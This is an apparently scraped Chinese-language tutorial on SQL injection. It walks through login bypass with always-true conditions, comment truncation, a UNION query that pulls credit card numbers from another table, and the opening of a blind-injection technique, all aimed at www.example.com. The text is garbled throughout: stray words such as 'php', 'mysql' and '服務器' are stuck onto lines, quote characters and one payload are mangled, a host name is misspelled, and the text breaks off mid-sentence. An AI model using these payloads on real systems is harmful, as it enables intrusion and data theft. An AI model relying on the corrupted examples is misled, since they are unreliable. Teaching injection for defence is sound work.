就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
例如一個簡單的登陸表單(這裏把密碼寫成明文方便說明):
當在表單中填寫這樣的語句進行提交登陸時會出現這樣的SQL語句php
select * from t_admin where admin_name='xxx' and admin_pwd='xxx'' or '1'
這樣會查詢出全部的用戶信息,全部存在不安全隱患html
下面看看一些經常使用例測試的SQL注入語句。mysql
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
咱們針對上面的SQL語句分析,發現若是用下面的測試數據就可以進行SQL注入了
引用
username=1′or′1′=′1password=1’or’1’=’1
看看整個SQL查詢語句變成:
引用程序員
SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'
假設參數值是經過GET方法傳遞到服務器的,且域名爲www.example.com 那麼咱們的訪問請求就是:
引用
http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1password=1’%20or%20’1’%20=%20’1
對上面的SQL語句做簡單分析後咱們就知道因爲該語句永遠爲真,因此確定會返回一些數據,在這種狀況下實際上並未驗證用戶名和密碼,而且在某些系統中,用戶表的第一行記錄是管理員,那這樣形成的後果則更爲嚴重。sql
另一個查詢的例子以下: 引用
數據庫
SELECT * FROM Users WHERE((Username='$username')AND(Password=MD5('$password')))
在這個例子中,存在兩個問題,一個是括號的用法,還有一個是MD5哈希函數的用法。對於第一個問題,咱們很容找出缺乏的右括號解決,對於第二個問題,咱們能夠想辦法使第二個條件失效。咱們在查詢語句的最後加上一個註釋符以表示後面的都是註釋,常見的註釋起始符是/*(在Oracle中是–),也就是說,咱們用以下的用戶名和密碼:
引用
username=1′or′1′=′1′))/∗password = foo
那麼整條SQL語句就變爲:
引用數組
SELECT * FROM Users WHERE(( Username='1'or '1'='1'))/*')AND (Password=MD5('$password')))
那麼看看URL請求就變爲:
引用
http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1’))/*&password=foo
#####3.Union查詢SQL注入測試
Union查詢SQL注入測試
還有一種測試是利用Union的,利用Union能夠鏈接查詢,從而從其餘表中獲得信息,假設以下查詢:
引用安全
SELECT Name, Phone, Address FROM Users WHERE Id=$id
而後咱們設置id的值爲:
引用
$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable
那麼總體的查詢就變爲:
引用服務器
SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECT creaditCardNumber,1,1 FROM CreditCarTable
顯示這就能獲得全部信用卡用戶的信息。
盲目SQL注入測試
在上面咱們提到過盲SQL注入,即bind SQL Injection,它意味着對於某個操做咱們得不到任何信息,一般這是因爲程序員已經編寫了特定的出錯返回頁面,從而隱藏了數據庫結構的信息。
但利用推理方法,有時候咱們可以恢復特定字段的值。這種方法一般採用一組對服務器的布爾查詢,依據返回的結果來推斷結果的含義。仍然延續上面的www.example.com有一個參數名爲id, 那麼咱們輸入如下url請求:
引用
http://www.exampe.com/index.php?id=1’
顯然因爲語法錯誤,咱們會獲得一個預先定義好的出錯頁面,假設服務器上的查詢語句爲
引用
SELECT field1,field2,field3 FROM Users WHERE Id=’Id′假設我們想要的帶哦用戶名字段的值,那麼通過一些函數,我們就可以逐字符的讀取用戶名的值。在這裏我們使用以下的函數:引用
SUBSTRING(text,start,length),ASCII(char),LENGTH(text)
我們定義